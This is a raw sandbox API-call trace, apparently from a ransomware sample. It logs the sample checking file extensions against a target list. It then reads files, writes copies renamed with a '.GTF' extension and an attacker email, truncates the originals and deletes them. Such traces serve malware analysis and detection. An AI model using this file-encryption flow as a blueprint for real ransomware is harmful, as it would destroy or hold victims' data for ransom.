	[0084.587] lstrlenW (lpString=".pdf") returned 4
	[0084.587] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0084.587] lstrlenW (lpString=".xls") returned 4
	[0084.587] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0084.588] lstrlenW (lpString=".xlsx") returned 5
	[0084.588] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0084.588] lstrlenW (lpString=".ppt") returned 4
	[0084.588] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0084.588] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0084.588] lstrlenW (lpString=".zip") returned 4
	[0084.588] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0084.588] lstrlenW (lpString=".rar") returned 4
	[0084.588] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0084.588] lstrlenW (lpString=".bz2") returned 4
	[0084.588] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0084.588] lstrlenW (lpString=".7z") returned 3
	[0084.588] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0084.588] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0084.588] lstrlenW (lpString=".dbf") returned 4
	[0084.588] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0084.588] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0084.588] lstrlenW (lpString=".1cd") returned 4
	[0084.588] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0084.588] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0084.588] lstrlenW (lpString=".jpg") returned 4
	[0084.588] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0084.588] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0084.588] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0084.588] lstrlenW (lpString=".doc") returned 4
	[0084.588] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0084.588] lstrlenW (lpString=".docx") returned 5
	[0084.588] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0084.588] lstrlenW (lpString=".pdf") returned 4
	[0084.588] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0084.588] lstrlenW (lpString=".xls") returned 4
	[0084.588] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0084.588] lstrlenW (lpString=".xlsx") returned 5
	[0084.588] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0084.588] lstrlenW (lpString=".ppt") returned 4
	[0084.588] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0084.588] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0084.589] lstrlenW (lpString=".zip") returned 4
	[0084.589] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0084.589] lstrlenW (lpString=".rar") returned 4
	[0084.589] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0084.589] lstrlenW (lpString=".bz2") returned 4
	[0084.589] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0084.589] lstrlenW (lpString=".7z") returned 3
	[0084.589] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0084.589] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0084.589] lstrlenW (lpString=".dbf") returned 4
	[0084.589] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0084.589] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0084.589] lstrlenW (lpString=".1cd") returned 4
	[0084.589] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0084.589] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0084.589] lstrlenW (lpString=".jpg") returned 4
	[0084.589] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0084.589] lstrcmpiW (lpString1=".sys", lpString2=".GTF") returned 1
	[0084.589] lstrlenW (lpString="pagefile.sys") returned 12
	[0084.589] CreateFileW (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0084.589] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0084.589] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0084.589] lstrlenW (lpString=".doc") returned 4
	[0084.589] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1
	[0084.589] lstrlenW (lpString=".docx") returned 5
	[0084.589] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1
	[0084.589] lstrlenW (lpString=".pdf") returned 4
	[0084.589] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1
	[0084.589] lstrlenW (lpString=".xls") returned 4
	[0084.589] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1
	[0084.590] lstrlenW (lpString=".xlsx") returned 5
	[0084.590] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1
	[0084.590] lstrlenW (lpString=".ppt") returned 4
	[0084.590] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1
	[0084.590] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0084.590] lstrlenW (lpString=".zip") returned 4
	[0084.590] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1
	[0084.590] lstrlenW (lpString=".rar") returned 4
	[0084.590] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1
	[0084.590] lstrlenW (lpString=".bz2") returned 4
	[0084.590] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1
	[0084.590] lstrlenW (lpString=".7z") returned 3
	[0084.590] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1
	[0084.590] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0084.590] lstrlenW (lpString=".dbf") returned 4
	[0084.590] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1
	[0084.590] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0084.590] lstrlenW (lpString=".1cd") returned 4
	[0084.590] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1
	[0084.590] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0084.590] lstrlenW (lpString=".jpg") returned 4
	[0084.590] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1
	[0084.590] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0084.590] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0084.590] lstrlenW (lpString=".doc") returned 4
	[0084.590] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1
	[0084.590] lstrlenW (lpString=".docx") returned 5
	[0084.590] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1
	[0084.590] lstrlenW (lpString=".pdf") returned 4
	[0084.590] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1
	[0084.590] lstrlenW (lpString=".xls") returned 4
	[0084.590] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1
	[0084.590] lstrlenW (lpString=".xlsx") returned 5
	[0084.590] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1
	[0084.590] lstrlenW (lpString=".ppt") returned 4
	[0084.591] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1
	[0084.591] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0084.591] lstrlenW (lpString=".zip") returned 4
	[0084.591] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1
	[0084.591] lstrlenW (lpString=".rar") returned 4
	[0084.591] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1
	[0084.591] lstrlenW (lpString=".bz2") returned 4
	[0084.591] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1
	[0084.591] lstrlenW (lpString=".7z") returned 3
	[0084.591] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1
	[0084.591] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0084.591] lstrlenW (lpString=".dbf") returned 4
	[0084.591] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1
	[0084.591] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0084.591] lstrlenW (lpString=".1cd") returned 4
	[0084.591] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1
	[0084.591] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0084.591] lstrlenW (lpString=".jpg") returned 4
	[0084.591] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1
	[0084.591] lstrcmpiW (lpString1=".exe", lpString2=".GTF") returned -1
	[0084.591] lstrlenW (lpString="active-charge.exe") returned 17
	[0084.591] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\active-charge.exe" (normalized: "c:\\program files\\common files\\active-charge.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0084.591] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=78336) returned 1
	[0084.592] CloseHandle (hObject=0x31c) returned 1
	[0084.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\active-charge.exe" (normalized: "c:\\program files\\common files\\active-charge.exe")) returned 0x20
	[0084.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\active-charge.exe.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\active-charge.exe.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0084.595] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\active-charge.exe" (normalized: "c:\\program files\\common files\\active-charge.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0084.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0084.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0084.596] lstrlenW (lpString=".doc") returned 4
	[0084.596] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0084.596] lstrlenW (lpString=".docx") returned 5
	[0084.596] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1
	[0084.596] lstrlenW (lpString=".pdf") returned 4
	[0084.596] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0084.596] lstrlenW (lpString=".xls") returned 4
	[0084.596] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0084.596] lstrlenW (lpString=".xlsx") returned 5
	[0084.596] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1
	[0084.596] lstrlenW (lpString=".ppt") returned 4
	[0084.596] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0084.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0084.596] lstrlenW (lpString=".zip") returned 4
	[0084.596] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0084.596] lstrlenW (lpString=".rar") returned 4
	[0084.596] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0084.596] lstrlenW (lpString=".bz2") returned 4
	[0084.596] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0084.596] lstrlenW (lpString=".7z") returned 3
	[0084.596] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0084.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0084.596] lstrlenW (lpString=".dbf") returned 4
	[0084.596] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0084.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0084.596] lstrlenW (lpString=".1cd") returned 4
	[0084.596] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0084.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0084.596] lstrlenW (lpString=".jpg") returned 4
	[0084.596] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0084.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0084.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0084.596] lstrlenW (lpString=".doc") returned 4
	[0084.596] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0084.596] lstrlenW (lpString=".docx") returned 5
	[0084.597] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1
	[0084.597] lstrlenW (lpString=".pdf") returned 4
	[0084.597] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0084.597] lstrlenW (lpString=".xls") returned 4
	[0084.597] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0084.597] lstrlenW (lpString=".xlsx") returned 5
	[0084.597] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1
	[0084.597] lstrlenW (lpString=".ppt") returned 4
	[0084.597] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0084.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0084.597] lstrlenW (lpString=".zip") returned 4
	[0084.597] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0084.597] lstrlenW (lpString=".rar") returned 4
	[0084.597] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0084.597] lstrlenW (lpString=".bz2") returned 4
	[0084.597] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0084.597] lstrlenW (lpString=".7z") returned 3
	[0084.597] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0084.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0084.597] lstrlenW (lpString=".dbf") returned 4
	[0084.597] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0084.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0084.597] lstrlenW (lpString=".1cd") returned 4
	[0084.597] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0084.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0084.597] lstrlenW (lpString=".jpg") returned 4
	[0084.597] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0084.597] lstrcmpiW (lpString1=".OLB", lpString2=".GTF") returned 1
	[0084.597] lstrlenW (lpString="MSADDNDR.OLB") returned 12
	[0084.597] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0084.969] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=15984) returned 1
	[0084.969] CloseHandle (hObject=0x340) returned 1
	[0084.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb")) returned 0x20
	[0084.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0084.969] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0084.969] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.970] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.970] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0084.973] GetLastError () returned 0x0
	[0084.973] ReadFile (in: hFile=0x340, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x3e70, lpOverlapped=0x0) returned 1
	[0084.975] WriteFile (in: hFile=0x384, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x3e80, lpOverlapped=0x0) returned 1
	[0084.976] ReadFile (in: hFile=0x340, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.976] WriteFile (in: hFile=0x384, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.976] SetEndOfFile (hFile=0x384) returned 1
	[0084.977] CloseHandle (hObject=0x384) returned 1
	[0084.978] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.978] SetEndOfFile (hFile=0x340) returned 1
	[0084.979] CloseHandle (hObject=0x340) returned 1
	[0084.979] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0084.979] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb")) returned 1
	[0084.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0084.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0084.979] lstrlenW (lpString=".doc") returned 4
	[0084.979] lstrcmpiW (lpString1=".doc", lpString2=".OLB") returned -1
	[0084.979] lstrlenW (lpString=".docx") returned 5
	[0084.979] lstrcmpiW (lpString1=".docx", lpString2="R.OLB") returned -1
	[0084.979] lstrlenW (lpString=".pdf") returned 4
	[0084.979] lstrcmpiW (lpString1=".pdf", lpString2=".OLB") returned 1
	[0084.979] lstrlenW (lpString=".xls") returned 4
	[0084.979] lstrcmpiW (lpString1=".xls", lpString2=".OLB") returned 1
	[0084.979] lstrlenW (lpString=".xlsx") returned 5
	[0084.979] lstrcmpiW (lpString1=".xlsx", lpString2="R.OLB") returned -1
	[0084.979] lstrlenW (lpString=".ppt") returned 4
	[0084.979] lstrcmpiW (lpString1=".ppt", lpString2=".OLB") returned 1
	[0084.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0084.980] lstrlenW (lpString=".zip") returned 4
	[0084.980] lstrcmpiW (lpString1=".zip", lpString2=".OLB") returned 1
	[0084.980] lstrlenW (lpString=".rar") returned 4
	[0084.980] lstrcmpiW (lpString1=".rar", lpString2=".OLB") returned 1
	[0084.980] lstrlenW (lpString=".bz2") returned 4
	[0084.980] lstrcmpiW (lpString1=".bz2", lpString2=".OLB") returned -1
	[0084.980] lstrlenW (lpString=".7z") returned 3
	[0084.980] lstrcmpiW (lpString1=".7z", lpString2="OLB") returned -1
	[0084.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0084.980] lstrlenW (lpString=".dbf") returned 4
	[0084.980] lstrcmpiW (lpString1=".dbf", lpString2=".OLB") returned -1
	[0084.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0084.980] lstrlenW (lpString=".1cd") returned 4
	[0084.980] lstrcmpiW (lpString1=".1cd", lpString2=".OLB") returned -1
	[0084.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0084.980] lstrlenW (lpString=".jpg") returned 4
	[0084.980] lstrcmpiW (lpString1=".jpg", lpString2=".OLB") returned -1
	[0084.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0084.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0084.980] lstrlenW (lpString=".doc") returned 4
	[0084.980] lstrcmpiW (lpString1=".doc", lpString2=".OLB") returned -1
	[0084.980] lstrlenW (lpString=".docx") returned 5
	[0084.980] lstrcmpiW (lpString1=".docx", lpString2="R.OLB") returned -1
	[0084.980] lstrlenW (lpString=".pdf") returned 4
	[0084.980] lstrcmpiW (lpString1=".pdf", lpString2=".OLB") returned 1
	[0084.980] lstrlenW (lpString=".xls") returned 4
	[0084.980] lstrcmpiW (lpString1=".xls", lpString2=".OLB") returned 1
	[0084.980] lstrlenW (lpString=".xlsx") returned 5
	[0084.980] lstrcmpiW (lpString1=".xlsx", lpString2="R.OLB") returned -1
	[0084.980] lstrlenW (lpString=".ppt") returned 4
	[0084.980] lstrcmpiW (lpString1=".ppt", lpString2=".OLB") returned 1
	[0084.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0084.980] lstrlenW (lpString=".zip") returned 4
	[0084.980] lstrcmpiW (lpString1=".zip", lpString2=".OLB") returned 1
	[0084.980] lstrlenW (lpString=".rar") returned 4
	[0084.980] lstrcmpiW (lpString1=".rar", lpString2=".OLB") returned 1
	[0084.981] lstrlenW (lpString=".bz2") returned 4
	[0084.981] lstrcmpiW (lpString1=".bz2", lpString2=".OLB") returned -1
	[0084.981] lstrlenW (lpString=".7z") returned 3
	[0084.981] lstrcmpiW (lpString1=".7z", lpString2="OLB") returned -1
	[0084.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0084.981] lstrlenW (lpString=".dbf") returned 4
	[0084.981] lstrcmpiW (lpString1=".dbf", lpString2=".OLB") returned -1
	[0084.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0084.981] lstrlenW (lpString=".1cd") returned 4
	[0084.981] lstrcmpiW (lpString1=".1cd", lpString2=".OLB") returned -1
	[0084.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51
	[0084.981] lstrlenW (lpString=".jpg") returned 4
	[0084.981] lstrcmpiW (lpString1=".jpg", lpString2=".OLB") returned -1
	[0084.981] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0084.981] lstrlenW (lpString="api-ms-win-crt-heap-l1-1-0.dll") returned 30
	[0084.981] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0084.981] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=19648) returned 1
	[0084.981] CloseHandle (hObject=0x340) returned 1
	[0084.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")) returned 0x20
	[0084.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0084.982] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0084.982] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.982] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.982] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0084.982] GetLastError () returned 0x0
	[0084.982] ReadFile (in: hFile=0x340, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x4cc0, lpOverlapped=0x0) returned 1
	[0084.984] WriteFile (in: hFile=0x384, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x4cd0, lpOverlapped=0x0) returned 1
	[0084.985] ReadFile (in: hFile=0x340, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.985] WriteFile (in: hFile=0x384, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x110, lpOverlapped=0x0) returned 1
	[0084.986] SetEndOfFile (hFile=0x384) returned 1
	[0084.986] CloseHandle (hObject=0x384) returned 1
	[0084.987] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.987] SetEndOfFile (hFile=0x340) returned 1
	[0084.988] CloseHandle (hObject=0x340) returned 1
	[0084.988] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0084.988] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")) returned 1
	[0084.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0084.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0084.988] lstrlenW (lpString=".doc") returned 4
	[0084.988] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.988] lstrlenW (lpString=".docx") returned 5
	[0084.989] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.989] lstrlenW (lpString=".pdf") returned 4
	[0084.989] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
